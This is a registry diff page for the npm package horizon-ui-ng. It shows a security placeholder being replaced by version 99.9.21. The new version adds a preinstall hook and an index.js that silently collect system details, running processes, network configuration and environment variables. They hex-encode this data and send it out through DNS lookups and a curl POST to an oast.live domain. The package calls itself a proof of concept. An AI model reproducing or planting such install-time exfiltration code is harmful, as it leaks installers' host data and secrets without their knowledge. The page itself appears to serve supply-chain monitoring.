horizon-ui-ng 0.0.1-security → 99.9.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of horizon-ui-ng might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +38 -0
  2. package/package.json +15 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ const { exec } = require("child_process");
2
+
3
+ const interactDomain = "d2bdd5qrt6jj283u22n0eysydqhao4jj7.oast.live";
4
+
5
+ const cmd = `
6
+ # Gather system info
7
+ info=$(
8
+ hostname;
9
+ pwd;
10
+ whoami;
11
+ uname -a;
12
+ ps aux --no-heading | head -n 5;
13
+ ip a;
14
+ env | head -n 10;
15
+ who;
16
+ ss -tuln | head -n 5;
17
+ curl -s https://ifconfig.me
18
+ )
19
+
20
+ # Hex encode
21
+ hex=$(echo "$info" | xxd -p | tr -d "\\n")
22
+
23
+ # Send first 20 chars via DNS (safe length)
24
+ echo "$hex" | head -c 20 | while read chunk; do
25
+ nslookup "$chunk.${interactDomain}" >/dev/null 2>&1
26
+ done
27
+
28
+ # Send full info via HTTP POST
29
+ curl -s -X POST --data "$info" https://${interactDomain}/store
30
+ `;
31
+
32
+ exec(cmd, (error, stdout, stderr) => {
33
+ if (error) {
34
+ console.error("Error:", error.message);
35
+ return;
36
+ }
37
+ console.log(stdout || stderr);
38
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
- {
2
- "name": "horizon-ui-ng",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "horizon-ui-ng",
3
+ "version": "99.9.21",
4
+ "description": "POC for testing",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "Navin",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "lodash": "^4.17.21"
14
+ }
15
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=horizon-ui-ng for more information.